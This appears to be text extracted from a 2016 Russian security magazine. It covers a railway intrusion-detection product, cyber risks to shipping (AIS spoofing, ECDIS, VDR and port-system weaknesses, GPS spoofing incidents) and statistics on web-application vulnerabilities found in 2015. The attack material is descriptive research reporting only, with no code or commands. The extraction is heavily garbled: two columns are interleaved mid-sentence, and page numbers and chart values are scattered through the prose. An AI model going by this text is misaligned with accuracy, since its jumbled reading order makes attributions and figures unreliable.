52 54 56 58 60 PT ISIM повысит ЗАЩИЩЕННОСТЬ российских железных дорог 62 64 Свыше 160 станций на железных дорогах от Калининграда до Дальнего Востока оснащены системами управления на ос- 66 нове МПЦ Ebilock-950 компании «Бомбардье Транспортейшн (Сигнал)». В 2014 году ОАО «РЖД» поставило задачу повысить 68 уровень защищенности микропроцессорной централизации стрелок и сигналов. Для этого «Бомбардье Транспортейшн» 70 привлекла экспертов Positive Technologies, которые провели анализ полной копии промышленной системы и выявили 72 ряд уязвимостей. Это позволило сформировать модель угроз и проработать требования к системе защиты. Поскольку 74 устранение ошибок безопасности было затруднено, команда Positive Technologies предложила улучшить защиту с помо- щью системы управления инцидентами PT Industrial Security Incident Manager. Система позволяет обнаруживать хакерские 76 атаки на АСУ ТП, а также расследовать происшествия на критически важных объектах. В отличие от других продуктов того 78 же класса PT ISIM подробно визуализирует развитие атаки — как в виде цепочки событий, так и на технологической карте 80 объекта с привязкой к оборудованию. При этом PT ISIM не требует переаттестации оборудования, поскольку работает 82 без вмешательства в технологический процесс. В 2016 году система успешно прошла пилотные испытания и выводится 84 на опытную эксплуатацию. Сейчас ведутся работы по адаптации PT ISIM для защиты объектов топливно-энергетического 86 комплекса и других отраслей. 88 90 92 94 96 98 100 102 03 Кибербезопасность 05 07 09 на бескрайних морях 11 13 15 17 Сложно переоценить значение индустрии морских перевозок для со- 19 Георгий Гилёв временного общества: 90% товаров перемещается именно по морю. 21 Мореходство, как и любая другая крупная сфера деятельности, раз- 23 вивается параллельно с течением технического прогресса: суда уве- 25 личиваются, а команды уменьшаются, так как все большее количество 27 процессов автоматизируется. Времена, когда находящееся в море суд- 29 но было фактически полностью отрезано от остального мира, давно в прошлом. В наши дни некоторые бортовые системы получают обнов- 31 ления во время плавания, у команд есть выход в интернет. Вопросы 33 кибербезопасности морских перевозок стоят довольно остро. 35 37 39 41 43 45 AIS (Automatic Identification System) — автоматическая идентифика- 47 ционная система. Служит для передачи идентификационных данных 49 судна (в том числе о его грузе), информации о его состоянии, теку- 51 щем местоположении и курсе. Также используется для предупреж- дения столкновений судов, мониторинга их состояния, с ее помощью владелец может следить за своим кораблем. Обеспечивает коммуни- кацию между судами. Устройство работает посредством передачи сигналов в УКВ-диапазоне между судами, плавающими ретранслято- рами и береговыми AIS-шлюзами, которые подключены к интернету. Все суда, совершающие международные рейсы, суда вместимостью более 500 регистровых тонн, а также все пассажирские суда должны быть оснащены AIS. Система работает на морской поисково-спаса- 19 тельной технике. ECDIS (Electronic Chart Display and Information System) — электрон- но-картографическая навигационно-информационная система, со- бирает и использует сообщения AIS, данные с радаров, GPS и прочих судовых датчиков (с гирокомпаса) и сопоставляет их со вшитыми кар- тами. Используется для навигации, автоматизации некоторых задач судоводителя и повышения навигационной безопасности морепла-

вания. Стоит отметить, что до 2019 года ECDIS должны быть обязатель- 53 Согласно отчету ENISA «Analysis of cyber security aspects in the но установлены на всех судах. Система обычно представляет из себя 55 maritime sector» от ноября 2011 года, «озадаченность вопросами подсоединенную к судовым датчикам и приборам рабочую станцию 57 кибербезопасности в морском секторе находится на низком уров- (или две — для мониторинга и для планирования курса), на которой не, либо вообще отсутствует» [1]. Малую обеспокоенность вопроса- установлено специальное ПО. 59 ми, связанными с киберугрозами, отмечают и аналитики компании 61 VDR (Voyage Data Recorder) — регистратор данных рейса, борто- CyberKeel, специализирующейся на безопасности морской инду- 63 вой самописец, аналог черного ящика, используемого в авиации. стрии. Они отмечают тот факт, что многие занятые в морской сфере 65 Основные задачи — запись важной рейсовой информации судна, привыкли быть частью «практически невидимой» отрасли, незамет- 67 включая как технические и курсовые данные, так и голосовые запи- ной простому обывателю. «Чаще всего, если обычный человек не 69 си с капитанского мостика, и ее сохранение в случае чрезвычайной живет около порта, он не может представить себе действительных ситуации. 71 масштабов всей индустрии», — говорится в их отчете [2]. «Вместе с 73 растущей опорой на автоматизацию, значительно обостряется риск TOS (Terminal ) — IT-инфраструктура, служащая 75 внешнего вмешательства и срыва работы ключевых систем; хакеры целям автоматизации процессов, происходящих с грузами в порту, — 77 могут помешать управлению судном или работе навигационных их погрузки и разгрузки, инвентаризации и мониторинга движения 79 систем, обрубить все внешние коммуникации судна или заполучить по территории порта, оптимизации складирования и поиска нужных 81 конфиденциальные данные», — говорится в отчете Allianz о безопас- в данный момент контейнеров, обеспечения дальнейшего транзита. ности судоходства за 2015 год [3]. Вопрос актуальности тематики еще Самый сложный и неоднородный пункт списка, так как на практике 83 осложняется тем, что, по данным Reuters, далеко не вся информация может являться как целостным продуктом конкретного вендора, так 85 об успешно проведенных атаках получает широкую огласку: часто и совокупностью систем (в том числе широкого назначения), выпол- 87 владельцы бизнеса могут умалчивать ее, опасаясь имиджевых по- няющих различные задачи. 89 терь, претензий со стороны клиентов и страховых компаний, начала 91 CTS (Container Tracking System) — система, позволяющая отсле- расследований, проводимых сторонними организациями и государ- 93 живать движение контейнеров посредством GPS и, реже, других ственными органами [4]. каналов передачи данных. Большинство компаний, производящих 95 Для того чтобы продолжить разговор о кибербезопасности судоход- подобные системы, также предлагает и отслеживающие устройства 97 ства, следует вкратце осветить специфические для этой сферы ин- для других сфер, к примеру персональные трекеры для туристов, ре- 99 формационные системы и технологии. шения для отслеживания автотранспорта. 101 103

// критически важные инфраструктуры positive research 2016

02 распространенная практика для прохождения опасных участков 04 акватории, таких как Аденский залив, вотчина сомалийских пира- 06 тов), а в некоторых случаях менять транслируемую информацию 08 вручную. 10 Нанесение на AIS-карты несуществующего военного корабля стра- 12 ны А в территориальных водах страны Б может спровоцировать ди- 14 пломатический конфликт. Кроме того, атака злоумышленника также 16 может привести к отклонению судна с курса в результате подмены 18 сообщений о возможном столкновении с ним или к «заманиванию» 20 в определенную точку акватории путем создания ложного сигнала 22 аварийного радиобуя. 24 26 28 Навигационная система ECDIS 30 32 3 марта 2014 года NCC Group выпустила отчет, касающийся безопас- ности ECDIS-систем. В отчете были представлены результаты иссле- 34 EPIRB (Emergency Position Indicating Radio Beacon) — аварийный ра- дования системы одного из ведущих вендоров (название в отчете не 36 диобуй, передатчик, подающий при активации сигнал бедствия, пе- указывается) [7]. Отмечается, что большинство систем этого класса 38 редача которого, в зависимости технологии исполнения, может осу- представляют из себя комплект приложений, установленных на ра- 40 ществляться через спутник, в диапазоне УКВ или же комбинировано. бочую станцию под управлением ОС семейства WIndows (часто XP), Кроме сигнала бедствия, некоторые EPIRB могут также передавать 42 расположенную на мостике судна. К рабочей станции с ECDIS по- информацию о судне (при синхронизации с AIS). 44 средством бортовой LAN-сети, из которой чаще всего есть доступ 46 Исследования, проведенные в последние несколько лет, а также в интернет, подключены другие системы: NAVTEX (навигационный 48 информация об инцидентах, которая все-таки стала доступна широ- телекс, унифицированная система передачи навигационной, ме- 50 кому кругу лиц, лишь подтверждают опасения о безопасности мор- теорологической и другой строчной информации), AIS, радары и ского сектора. GPS-оборудование, а также другие датчики и сенсоры. В комплекте с ECDIS-системами обычно не поставляется никаких средств инфор- мационной защиты. Стоит также отметить, что Windows-системы, Автоматическая развернутые на судах, которые долго находятся в рейсах, далеко не идентификационная система AIS всегда успевают получить даже критически важные обновления без- опасности в разумные сроки. Уязвимости, найденные исследователя- ми из NCC, в основном связаны c сервером Apache, устанавливаемым Большое исследование, посвященное безопасности AIS, было в комплексе с системой. Внедрить вредоносный код может как внеш- проведено исследователями компании Trend Micro. Результаты 20 ний нарушитель через интернет, так и член команды через физиче- исследования были представлены на конференции Black Hat Asia ский носитель, использующийся для обновления или дополнения 2014 [6]. Рассматривались два направления атаки: первый — на AIS- навигационных карт. Найденные уязвимости позволяли считывать, провайдеров, собирающих данные с AIS-шлюзов, установленных на скачивать, перемещать, заменять и удалять любые файлы, находя- побережьях для сбора информации AIS и далее для предоставления щиеся на рабочей станции. При таком развитии событий атакующий коммерческих и бесплатных сервисов в реальном времени (напри- получает доступ к чтению и изменению данных со всех сервисных мер, MarineTraffic). Второй тип атаки — на уровне радиопередачи, т. е. устройств, подключенных к бортовой сети корабля. самого протокола AIS. Атака на протокол была проведена с исполь- зованием SDR (software-defined radio). Архитектура протокола была Корректная работа ECDIS-системы очень важна, ее компромета-

52 разработана достаточно давно, механизмы валидации отправителя ция может привести к самым неблагоприятным последствиям — и шифрование передаваемых данных не было предусмотрено, так травмам и даже гибели людей, загрязнению окружающей среды. 54 как вероятность использования дорогого «железного» радиообору- «Замершее» судно, потеряв возможность корректной навигации, 56 дования для компрометации технологии расценивалась как низкая. перекроет оживленный канал или шлюз на неопределенный срок, 58 Исследование показало возможность следующих сценариев: что вызовет при определенном стечении обстоятельств огромные 60 экономические убытки. Танкер, перевозящий нефть и севший на мель + изменение данных о судне, включая его местоположение, курс, 62 из-за навигационных ошибок, — готовый сценарий экологической информацию о грузе, скорость и имя; 64 катастрофы. 66 + создание «кораблей-призраков», опознаваемых другими судами 68 как настоящее судно, в любой локации мира; 70 Регистратор данных рейса VDR + отправка ложной погодной информации конкретным судам, 72 чтобы заставить их изменить курс для обхода несуществующего Как было сказано выше, VDR является аналогом авиационного чер- 74 шторма; ного ящика. Данные, полученные с устройства, крайне важны при 76 + активация ложных предупреждений о столкновении, что также расследовании инцидентов, аварий и катастроф, произошедших на 78 может стать причиной автоматической корректировки курса море. 80 судна; 82 15 февраля 2012 года находящиеся на борту итальянского частного 84 + возможность сделать существующее судно «невидимым»; танкера Enrica Lexie морские пехотинцы, чьей задачей была охрана судна от возможного нападения пиратов, по ошибке открыли огонь 86 + создание несуществующих поисково-спасательных вертолетов; на поражение по индийскому рыболовному судну и убили двоих 88 + фальсификация сигналов EPIRB, активирующих тревогу на нахо- граждан Индии. С бортового самописца танкера исчезли данные с 90 дящихся поблизости судах; сенсоров и голосовые записи за промежуток времени, когда прои- 92 зошел инцидент [9]. Назывались две версии причины случившегося: + возможность проведения DoS-атаки на всю систему путем ини- 94 перезапись данных самим VDR и умышленное уничтожение улик. циирования увеличения частоты передачи AIS-сообщений. 96 Пропажа данных естественно осложнила расследование, породив- 98 Кроме того, стоит отметить, что персонал судна может выключать шее дипломатический конфликт Индии и Италии и завершившееся 100 свою AIS, становясь «невидимкой» (по данным CyberKeel, довольно только 24 августа 2015 года. 102 03 05 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51

Пару недель спустя после событий на Enrica Lexie, 1 мая 2012-го, син- TOS и прочие портовые системы 21 гапурский грузовоз Prabhu Daya протаранил рыболовное судно в прибрежных водах Индии, в районе Керала, и скрылся с места про- Портовые информационные системы без сомнения являются самы- исшествия. В результате столкновения погибли трое рыбаков. После ми сложными и обширными IT-структурами в судоходстве. Говорят, того как индийские правоохранительные органы начали расследо- «если ты видел один порт — ты видел один порт», ведь каждый из вание, в прессе всплыла интересная деталь: «Во время прибытия них уникален, в том числе и с точки зрения информационных систем. должностных лиц на сингапурское судно один из членов вставил Однако многое свидетельствует о том, что кибербезопасности пор- USB-носитель в VDR; это привело к стиранию с него всех файлов и го- тов уделяется чрезвычайно мало внимания. лосовых записей. Впоследствии, несмотря на все старания экспертов, Командор береговой охраны США Д. Крамек в отчете о кибербез- данные восстановить не удалось» [9]. опасности основных американских портов пишет следующее: «Из 53 Производителем регистратора VDR, установленного на итальянском шести проверенных портов только в одном была проведена оценка 55 судне Enrica Lexie, была компания Furino. Позже одно из устройств рисков кибербезопасности; ни один порт не имел плана реагирова- 57 этой компании (самописец VDR-3000) был исследован сотрудника- ния на инциденты в рассматриваемой сфере. Более того, из 2,6 млрд 59 ми компании IOActive. Исследуемое устройство состояло из двух долл., выделенных по программе грантов на защиту портов, создан- 61 модулей: DCU (Data Collection Unit), отвечающего за сбор данных ной после событий 11 сентября 2001 года, менее 6 млн были потра- 63 и защищенного от агрессивных внешних воздействий, и DRU (Data чены на проекты, связанные с кибербезопасностью» [11]. Другими 65 Recording Unit), отвечающего за их сохранность в случае ЧС. Модуль факторами риска, отмеченными автором, являются обслуживание 67 DCU представлял из себя -машину с набором интерфейсов некоторых систем компаниями, не имеющими отношения к порту, 69 (включая USB, IEEE1394 и LAN) для подключения к судовым сенсорам, работа сотрудников со своих устройств, отсутствие практики прове- датчикам и другим системам, а также оснащенную HDD с частичной дения инструктажа по кибербезопасности среди персонала. 71 копией данных второго модуля. DRU состоял из внешней защитной 73 Самый знаменитый инцидент, связанный с портовой кибербезо- капсулы, внутри которой находился стек из флеш-дисков, рассчитан- 75 пасностью, произошел в порту Антверпена в 2012 году [12]. Краткая ных на запись данных за 12-часовой период. Устройство собирало 77 схема, по которой контрабанда поставлялась Европу, заключалась в и хранило всевозможные навигационные и статистические данные 79 следующем: в контейнеры, в которых перевозились зарегистриро- судна, звукозаписи разговоров на мостике судна, все радиоперего- 81 ванные и должным образом оформленные товары, прибывающие из воры и радарные снимки. По итогам работы были продемонстри- Латинской Америки, в порту отправки догружались контрабандные 83 рованы такие возможности, как изменение и удаление данных как с товары (в основном, наркотики и оружие). По прибытии в Европу 85 диска DCU, так и с DRU, а также возможность удаленного исполнения «IT-департамент» банды перехватывал 9-знаковые PIN-коды, исполь- 87 команд с привилегиями суперпользователя, что полностью компро- зуемые для проведения операций с контейнерами в системах DP 89 метирует данное устройство [10]. World. Эти коды необходимы для проведения операций с портовыми 91 Дела Enrica Lexie и Prabhu Daya, явно показывают, что удаление дан- системами погрузки—разгрузки. После того как контейнер с кон- 93 ных на VDR может крайне осложнить или полностью завести в тупик трабандой прибывал в Антверпен, контрабандисты, подключенные 95 расследование инцидента, произошедшего на море. Более того, к одной из портовых беспроводных сетей, отдавали команду погру- 97 если у злоумышленников есть возможность редактирования данных зочным системам перемещать «заряженный» контейнер на свой гру- 99 на самописце и их подмены, существует большая вероятность под- зовик до приезда владельца. Оперативная работа, начавшаяся после 101 лога, который направит расследование в ложное русло. жалоб компаний о периодической пропаже контейнеров, привела к 103

// критически важные инфраструктуры positive research 2016

02 серии обысков и рейдов в Дании, Нидерландах и Бельгии. Были най- С помощью имитатора GPS-сигналов (используются, к примеру, при 04 дены оружие, наличные и кокаин, пятнадцать человек были задер- калибровке оборудования), дублируя сигнал настоящего спутника и 06 жаны. Забавно, что подобный технологичный подход к контрабанде постепенно повышая мощность, им удалось «убедить» навигацион- 08 фигурировал в массовой культуре за несколько лет до событий в ную систему судна принимать сообщения спуфингового устройства 10 Антверпене: во втором сезоне телесериала «Прослушка» (The Wire) и отбрасывать сигнал настоящего спутника как помехи. После того 12 история развивается вокруг американского порта Балтимор (по как навигационная система начала ориентироваться по данным двух 14 сюжету одной из серий преступники подкупают рабочих доков для спутников и атакующего устройства, исследователям удалось откло- 16 подмены записей о контейнерах, в которых перевозятся наркотики). нить судно от первоначального курса [17]. Джим Гирмански, бывший агент ФБР, ныне — председатель компании 18 В заключение можно сказать о плохой подготовленности столь Powers International, предоставляющей услуги охраны и мониторин- 20 важной для любой страны индустрии к временам, когда кибера- га в сфере логистики, заявляет, что «антверпенское» дело его не уди- 22 таки уже не являются чем-то новым, и их широко используют в вило, потому что большинство транспортных компаний не имеют ни 24 своих интересах государства и различные активистские, преступ- малейшего понятия о том, как защитить доставляемый контейнер [13]. 26 ные и террористические группировки. Помимо уязвимостей ПО и 28 По последним оценкам, по морю перевозится более 420 млн контей- других дыр в защите этих систем, также остро стоит и проблема 30 неров ежегодно, и только 2% подвергаются проверкам с досмотром, невозможности мгновенного применения обновлений безопас- 32 так что о реальных объемах контрабанды, перевозимой даже в «ле- ности для систем на судах, находящихся в рейсе или отдаленных 34 гальных» контейнерах, трудно даже строить догадки. Помимо нар- портах. Остается лишь надеяться, что вышеуказанные проблемы которговцев и контрабандистов, дырами в безопасности портовых и не превратят морские перевозки в бомбу замедленного действия 36 прочих логистических систем могут в перспективе воспользоваться и масштабные работы по исправлению проблем и «закаливанию» 38 и террористические и радикальные группировки, к примеру органи- рассмотренных систем начнутся раньше, чем появятся серьезные 40 зовать доставку взрывных устройств в нужный город и, возможно, за прецеденты. 42 чужой счет. 44 46 48 CTS, GPS и системы спутниковой связи Список источников: 50 Морская индустрия активно пользуется спутниковыми техноло- 1. Analysis of cyber security aspects in the maritime sector, ENISA, гиями SATCOM (Satellite Communications) для доступа в интернет, 10.2011. связи судно—судно и судно—суша, GPS/DGPS для определения 2. Maritime Cyber-Risks, CyberKeel, 15.10.2014. местоположения и навигации, а также отслеживания перевозимых грузов. 3. Safety and Shipping Review 2015, H. Kidston, T. Chamberlain, C. Fields, G. Double, Allianz Global Corporate & Speciality, 2015. На конференции Black Hat USA 2015 исследователем компании Synack Колби Муром был представлен отчет о безопасности систем 4. All at sea: global shipping fleet exposed to hacking threat, J. 22 GPS-трекинга Globalstar [14]. Помимо коммерческих грузоперевозок, Wagstaff, Reuters, 23.04.2014. предлагаемые компанией решения используются также в добыва- 5. MARIS ECDIS900, MARIS brochure. ющей промышленности, системах экологического мониторинга, автопромышленности, маломерных судах и многих других сферах. 6. AIS Exposed: Understanding Vulnerabilities & Attacks 2.0 (video), Проведенное исследование показало, что эксплуатация найденных Dr. M. Balduzzi, Black Hat Asia 2014. уязвимостей приводит к перехвату и подмене информации или глу- 7. Preparing for Cyber Battleships – Electronic Chart Display and шению сигнала. Information System Security, Yevgen Dyryavyy, NCC Group, Как и в случае с AIS, раскрытие проблемы Globalstar стало возмож- 03.03.2014. ным в связи с развитием технологий SDR, их относительными про- 8. Voyage Data Recorder of Prabhu Daya may have been tampered 52 стотой и дешевизной. В сети Simplex, основанной на радиопередаче, with, N. Anand, The Hindu, 11.03.2012. 54 используемой компанией Globalstar для передачи данных между тре- 56 керами, спутниками и наземными станциями, отсутствуют механиз- 9. Lost voice data recorder may cost India Italian marines case, A. 58 мы аутентификации и шифрования, обслуживающие работу систем, Janardhanan, The Times of India, 13.3.2013. а механизм передачи данных, работающий только в одну сторону, 60 10. Maritime Security: Hacking into a Voyage Data Recorder (VDR), R. не представляет возможности валидации переданных данных. Мур 62 Samanta, IOActive Labs, 09.01.2015. уверен, что данная проблема присутствует не только в Globalstar [15]. 64 11. The Critical Infrastructure Gap: U.S. Port Facilities and Cyber 66 Спутниковые системы связи (SATCOM), в том числе связывающие че- Vulnerabilities, Comdr (USCG) J. Kramek, Center for 21st Century 68 рез интернет суда друг с другом и с «большой землей», также содер- Security and Intelligence at Brookings, 06.2013. 70 жат большое количество уязвимостей, сообщается в отчете IOActive 72 [16]. Проверка терминалов спутниковой связи, используемых в судо- 12. The Mob’s IT Department: How two technology consultants 74 ходстве и в других секторах (авиации, военном комплексе) и произ- helped drug traffickers hack the Port of Antwerp, J. Robertson, M. водимых ведущими компаниями индустрии (Harris, Hughes, Cobham, Riley, Bloomberg Businessweek, 07.07.2015. 76 JRC, Iridium), выявила такие критически опасные бреши в безопасно- 78 13. To Move Drugs, Traffickers Are Hacking Shipping Containers, A. сти, как использование устройствами незащищенных или даже не- 80 Pasternack, Motherboard, 21.10.2013. документированных протоколов, заведенные «фабрично» учетные 82 записи, возможность эксплуатирования функции сброса пароля, 14. Spread Spectrum Satcom Hacking: Attacking the Globalstar 84 бэкдоры. Однако вся конфиденциальная информация, полученная в Simplex Data Service, C. Moore, Black Hat USA 2015. 86 ходе проверок и исследований, включая технические аспекты и про- 15. Hackers Could Heist Semis by Exploiting This Satellite Flaw, K. 88 цедуры проведения проверок, а также информацию о возможностях Zetter, Wired, 30.07.15. 90 эксплуатации уязвимостей, после передачи ее вендорам и регулиру- 92 ющим комиссиям не была выложена в открытый доступ. 16. A Wake-Up Call for SATCOM Security, R. Santamarta, IOActive, 09.2014. 94 Другой показательный случай компрометации спутниковых систем 96 произошел в июле 2013 года. Студенты из Техасского университета 17. University of Texas team takes control of a yacht by spoofing its 98 в Остине смогли отклонить от курса яхту стоимостью в 80 млн долл., GPS, B. Dodson, gizmag, 11.08.2013. 100 используя оборудование, цена которого не превышала 3 тыс. долл. 102 03 Уязвимости веб-приложений 05 07 09 в 2015 году 11 13 15 17 Современные веб-технологии позволяют бизнесу эффективно решать 19 Евгений Гнедин многие организационные вопросы, а также демонстрировать свои 21 услуги и товары самой широкой аудитории через интернет. Однако 23 легкостью доступа к сайтам могут воспользоваться и злоумышленни- 25 ки, что ведет к финансовым и репутационным потерям. При этом раз- 27 работчики и администраторы не всегда уделяют достаточно внимания 29 защите веб-ресурсов, обращая основное внимание на функциональ- ность приложений. 31 33 Ежегодно специалисты Positive Technologies изучают около 250–300 35 веб-приложений в рамках различных работ, начиная от инстру- 37 ментального сканирования и заканчивая анализом исходного кода. 39 Данный отчет содержит статистику, собранную в ходе работ по анали- 41 зу защищенности веб-приложений в 2015 году. Сравнение с данными аналогичных исследований 2014 и 2013 годов дает возможность оце- 43 нить динамику развития современных веб-приложений с точки зре- 45 ния обеспечения информационной безопасности. 47 49 51

Источники и методика

По итогам выполненных проектов в 2015 году было выделено 30 Исследованные приложения принадлежали компаниям, пред- веб-приложений, для которых проводился углубленный анализ с ставляющим телекомы (23%), промышленность (20%), СМИ (17%), IT- наиболее полным покрытием проверок. При этом учитывались толь- компании (17%), финансы (13%) и государственные организации (10%). 23 ко те уязвимости, которые были подтверждены путем проведения Большинство веб-приложений, вошедших в выборку, разработаны проверок на тестовом стенде. Оценка защищенности проводилась на Java (43%) и PHP (30%), также встречались приложения, создан- методами черного, серого и белого ящиков — как вручную (с ис- ные с использованием технологий ASP.NET, Perl, ABAP, 1С и других. пользованием вспомогательных автоматизированных средств), так и Приложения работали под управлением серверов Nginx (34%), с помощью автоматизированного анализатора кода. Метод черного Microsoft IIS (19%), Apache Tomcat (14%) и WebLogic (14%), а также ящика означает исследование сайта от лица внешнего атакующего под Apache и SAP NetWeaver Application Server. Примерно половина без дополнительной информации о системе со стороны владель- исследованных ресурсов (53%) представляли собой продуктивные ца. Метод серого ящика аналогичен методу черного ящика, но в системы, уже доступные пользователям через интернет, вторую по- качестве нарушителя рассматривается пользователь, обладающий ловину составляли тестовые площадки, находящиеся в процессе раз- 53 определенными привилегиями в системе. Метод белого ящика ис- работки или приемки в эксплуатацию. 55 пользует все необходимые данные о системе, включая исходный код 57 приложений. 59 В настоящей статистике приведены только уязвимости, связанные с Все сайты уязвимы 61 ошибками в коде и конфигурации веб-приложений. Уязвимости клас- 63 сифицировались согласно угрозам по WASC TC v. 2, за исключением Недостатки как минимум среднего уровня риска были обнаружены 65 категорий Improper Input Handling и Improper Output Handling, по- во всех исследованных приложениях. При этом в 70% рассмотрен- 67 скольку они реализуются в рамках множества других атак. Степень ных систем были обнаружены критически опасные уязвимости. В те- 69 риска уязвимостей оценивалась согласно CVSS v. 2. чение последних трех лет доля таких систем растет. 71 73 Пользователи не защищены от атак 75 70% 30% 77 2015 Большинство исследованных приложений позволяют атаковать 79 68% 28% 4% пользователей. В коде 80% ресурсов обнаружена уязвимость сред- 81 2014 него уровня риска «Межсайтовое выполнение сценариев» (Cross-Site 83 61% 35% 4% Scripting, XSS). В результате эксплуатации данной уязвимости злоу- 85 2013 мышленник может внедрить в браузер пользователя произвольные 87 HTML-теги, включая сценарии на языке JavaScript и других языках, и 89 таким образом получить значение идентификатора сессии атакуемо- 91 го и совершить иные неправомерные действия, например фишинго- 93 Высокий Средний Низкий вые атаки. 95 На втором месте — утечка информации (Information Leakage): уязви- 97 мость обнаружена в каждом втором веб-приложении. 47% веб-сай- 99 Доля уязвимых сайтов в зависимости тов также содержат уязвимости, связанные с отсутствием защиты от от максимальной степени риска уязвимостей 101 подбора учетных данных (Brute Force). Наиболее распространенным 103

// ВЕБ-безопасность positive research 2016

02 недостатком высокого уровня риска в 2015 году стала уязви- Средства разработки: Java не лучше PHP 04 мость «Внедрение внешних сущностей XML» (XML External Entities). 06 Уязвимость позволяет злоумышленнику получить содержимое фай- В исследованиях прошлых лет PHP-приложения как правило были 08 лов, расположенных на атакуемом сервере, либо совершать запросы более уязвимы, чем системы, разработанные с помощью ASP.NET и 10 в локальную сеть от имени атакуемого сервера. Java. Однако на сегодняшний день картина изменилась: 69% Java- 12 приложений подвержены критически опасным уязвимостям, а для 14 PHP-систем данный показатель составил 56%, что ниже уровня 2013 16 | Cross-Site Scripting года на 20%. 18 80% 70% 20 22 | Information Leakage | Другие 24 50% 25% 88% 26 100% 28 | Brute Force 75% 30 47% 40% | Java 32 69% 34 | XML External Entities 100% 36 40% 38% 18% 38 | PHP 40 | Fingerprinting 56% 42 30% 100% 73% 44% 44 46 | URL Redirector Abuse 30% 48 0% 20% 40% 60% 80% 100% 33% 50 | Path Traversal Низкий Средний Высокий 27% 15%

| Cross-Site Request Forgery Доли систем с уязвимостями разной степени риска 23% (по средствам разработки) 35%

| SQL Injection 24 20% 48% Каждое веб-приложение на PHP в среднем содержит 9,1 крити- | Insufficient Authorization чески опасной уязвимости, приложение на Java — 10,5. Для всех 20% других языков программирования и средств разработки в сред- 40% нем на каждую систему приходится лишь 2 критически опасные уязвимости.

0% 20% 40% 60% 80% 100% Уязвимость «Межсайтовое выполнение сценариев» оказалась наи- более распространенной для всех языков программирования. Доля 2014 год 2015 год (высокий, средний и низкий риск) приложений, подверженных уязвимости «Внедрение операторов 52 SQL», сократилась по сравнению с 2014 годом: тогда уязвимость была 54 выявлена в 67% веб-ресурсов, разработанных на PHP, а сейчас встре- 56 Наиболее распространенные уязвимости (доля сайтов) чается только в 22%. 58 60 62 Наиболее распространенные уязвимости (по средствам разработки) 64 66 PHP Доля сайтов Java Доля сайтов Другие Доля сайтов 68 70 72 Cross-Site Scripting 89% Cross-Site Scripting 77% Cross-Site Scripting 75% 74 Information Leakage 56% XML External Entities 54% Information Leakage 75% 76 78 Brute Force 33% Brute Force 46% Brute Force 63% 80 OS Commanding Path Traversal Fingerprinting 82 22% 31% 60% 84 SQL Injection 22% Information Leakage 31% XML External Entities 50% 86 88 Path Traversal 22% URL Redirector Abuse 31% Cross-Site Request Forgery 38% 90 Insufficient Authorization 22% SQL Injection 23% Insufficient Transport Layer Protection 38% 92 94 Fingerprinting 22% Cross-Site Request Forgery 23% URL Redirector Abuse 38% 96 98 URL Redirector Abuse 22% Application Misconfiguration 23% Path Traversal 25% 100 XML External Entities 11% HTTP Response Splitting 23% Insufficient Authorization 25% 102 ошибки на серверах Microsoft IIS 03 05 Доля ресурсов с уязвимостями высокой степени риска на базе | Финансовые организации и банки 07 Microsoft IIS значительно возросла по сравнению с предыдущими го- 100% 09 89% дами и достигла максимального значения. Зато доля уязвимых сайтов 11 67% под управлением Nginx снизилась (с 86 до 57%), то же самое с Apache 13 Tomcat (с 60 до 33%). | ИТ 15 100% 17 67% 19 75% 21 | Apache Tomcat | СМИ 23 33% 80% 25 60% н/д 60% 80% 27 29 | Nginx | Телекоммуникации 31 57% 57% 86% 80% 33 57% н/д 35 37 | Weblogic | Промышленность 67% 50% 39 н/д 71% 41 н/д н/д 43 45 | IIS | Государственные учреждения 100% 33% 47 44% н/д 49 71% 33% 51

0% 20% 40% 60% 80% 100% 0% 20% 40% 60% 80% 100%

2013 2014 2015 2013 2014 2015

Веб-приложения с уязвимостями высокой степени риска Доли приложений с уязвимостями высокого уровня риска (по типу веб-сервера) для различных отраслей экономики 25

Для большинства веб-серверов самой распространенной ошибкой | Тестовая площадка 78,6% 21,4% администрирования является утечка информации. Данный недоста- ток был обнаружен во всех исследованных приложениях под управ- | Продуктивная система 62,5% 37,5% лением серверов Microsoft IIS. На втором месте — отсутствие защиты

от подбора учетных данных. 53 55 0% 20% 40% 60% 80% 100% 57 Сайты банков и IT-компаний 59 под угрозой Высокий Средний 61 63 Как и в пошлом году, на всех банковских сайтах обнаружены кри- Максимальный уровень риска обнаруженных уязвимостей для тестовых 65 и продуктивных систем (доли уязвимых систем) тически опасные уязвимости. Аналогичная ситуация наблюдается в 67 сфере IT. Положительная динамика отмечена лишь для приложений 69 промышленных и телекоммуникационных компаний. 71 73 Анализ исходного кода лучше 75 Рабочие системы защищены выявляет опасные уязвимости 77 ненамного лучше тестовых 79 81 Доля систем, подверженных критически опасным уязвимостям, кото- Доля уязвимых приложений, уже находящихся в эксплуатации, очень рые были обнаружены методом черного ящика, существенно ниже, 83 велика: более половины (63%) подвержены критически опасным чем аналогичный показатель для сайтов, где анализировали исход- 85 уязвимостям. Такие недостатки могут позволить нарушителю полу- ные коды приложения. Однако даже для метода черного и серого 87 чить полный контроль над системой (например, в случае загрузки ящика доля систем с опасными уязвимостями довольно велика (59%). 89 произвольных файлов или выполнения команд), а также получать Таким образом, отсутствие у атакующего доступа к исходным кодам 91 чувствительную информацию (например, в результате эксплуата- не делает веб-приложения защищенными. 93 ции уязвимостей «Внедрение операторов SQL», «Внедрение внеш- При этом среднее количество уязвимостей различного уровня риска 95 них сущностей XML» и других). Также нарушитель может проводить на одну систему, выявленных методом белого ящика, существенно 97 успешные атаки типа «отказ в обслуживании». выше, чем при тестировании методами черного и серого ящиков. 99 101 103

// ВЕБ-безопасность positive research 2016

02 04 06 | Белый ящик | Белый ящик 08 80% 5,1 10 100% 9,8 20% 0,7 12

14 | Черный и серый ящик | Черный и серый ящик 16 59% 0,7 100% 6,6 18 65% 0,9 20 22 24 0% 20% 40% 60% 80% 100% 0 2 4 6 8 10 26 28 Низкий Средний Высокий Низкий риск Средний Высокий 30 32 Доли систем с уязвимостями разной степени риска по методу тестирования Среднее количество обнаруженных уязвимостей на одну систему 34 36

